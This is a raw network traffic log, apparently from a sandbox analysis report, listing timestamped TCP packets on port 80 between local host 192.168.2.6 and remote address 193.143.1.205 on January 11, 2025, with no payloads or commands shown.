Jan 11, 2025 01:45:41.876245975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.876259089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.876269102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.876281977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.876327038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.876327038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.876327038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.877079964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877093077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877106905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877118111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877130985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877141953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877155066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877243042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.877243042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.877943039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.877985954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.878026009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.878037930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.878057003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.878067970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.878099918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.878099918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.878099918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.878879070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.878879070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.899194956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.899211884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.899224043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.899238110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.899250031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.899326086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.899492979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.932688951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932708979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932722092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932734966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932754993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932774067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932785034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932799101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932811022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932821989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932832956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932845116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.932867050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.933607101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.956501007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.956522942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.956537008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.956630945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.956646919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.956667900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.956792116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.965854883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965886116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965900898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965913057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965919971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.965926886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965939999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965951920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965970993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965986013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965997934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.965998888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.965997934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.965997934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.966012001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.966058969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.966058969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.989584923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989612103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989622116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989645004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989655018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989667892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989677906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989689112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989763021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989773035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989784956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989795923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989814997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.989814997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.989814997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.989845037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989856958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989867926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989890099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.989890099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.989959955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.989989042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990000010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990042925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990058899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990070105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990070105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990130901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990235090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990247965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990258932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990269899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990289927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990293026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990328074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990360022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990406036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990417957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990421057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990421057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990448952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990493059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990526915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990526915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990580082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990637064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990678072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990678072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990756035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990767002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990797043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990797043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990803003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990816116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990829945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990904093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990910053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.990917921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990931988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990947008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990957022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.990957975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.991076946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.991076946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.991136074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991154909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991166115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991178036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991189957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991195917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.991203070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991214991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.991218090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.991252899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998208046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998222113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998234034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998245001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998256922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998291016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998316050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998322010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998334885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998346090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998359919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998370886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998383045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998395920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998408079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998416901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998446941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998456001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998456001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998456001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998465061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998476982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998487949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998500109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998512983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998523951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998534918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998548031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998558998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998568058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998568058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998568058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998569965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998583078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998593092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998609066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998621941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998621941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998634100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998646021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998656988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998667955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998670101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998670101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998680115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998691082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998703003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998713970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998724937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998738050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998749018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998754978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998754978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998754978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998760939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998770952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:41.998830080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:41.998830080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.019292116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019350052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019370079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019383907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019397020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019403934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.019409895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019422054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019433975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.019438028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.019475937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.029556036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.043737888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043775082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043788910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043807030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043817997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043831110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043848991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043852091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.043862104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043874979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043886900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043898106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043910980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043917894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.043946028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.043951988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.043991089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.044029951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.044792891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.052772045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052798033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052809954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052820921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052833080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052843094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052855015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052865982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.052877903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.052959919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.057495117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.076452971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076473951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076487064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076499939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076514006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076527119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076543093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076556921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076582909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076592922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076613903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.076617002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076628923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076639891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076661110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.076683998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.076775074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076786995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076800108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076808929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.076812029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.076838970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077033043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077047110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077066898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077075958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077080965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077095985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077106953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077106953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077121973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077131987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077132940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077166080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077195883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077213049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077224970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077230930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077235937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077275038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077352047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077364922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077377081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077394009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077398062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077409983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077413082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077420950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077440977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077634096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077646971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077658892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077675104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077677965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077689886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077692986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077702045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077718019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077728987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077738047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077742100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.077769041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077788115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.077922106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078026056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078037977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078048944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078062057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078068972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078079939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078080893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078099012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078110933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078121901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078130007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078135014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078149080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078160048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078162909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078172922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078175068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078186989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078206062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078228951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078644991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078658104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078671932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078682899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078696012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078708887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078721046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078732967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:45:42.078733921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:45:42.078744888 CET	80	49710	193.143.1.205	192.168.2.6
